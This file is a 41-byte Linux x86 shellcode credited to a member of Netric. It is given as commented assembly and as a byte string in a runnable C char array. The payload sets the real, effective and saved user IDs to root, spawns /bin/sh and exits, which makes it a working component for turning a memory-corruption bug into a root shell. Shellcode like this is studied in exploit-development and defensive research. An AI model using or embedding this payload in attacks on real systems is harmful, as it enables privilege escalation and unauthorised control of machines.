/* linux x86 shellcode(41 bytes) by sacrine of Netric (www.netric.org)
* setresuid(0,0,0); execve /bin/sh; exit;
*
__asm(" xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
cdq
movb $0xa4, %al
int $0x80
xorl %eax,%eax
push %eax
pushl $0x68732f2f
pushl $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
lea (%esp,1),%ecx
movb $0xb, %al
int $0x80
xorl %eax,%eax
mov $0x1, %al
int $0x80
");
*/
char main[]=
// setresuid(0,0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\x99" // cdq
"\xb0\xa4" // mov $0xa4, %al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1, %al
"\xcd\x80"; // int $0x80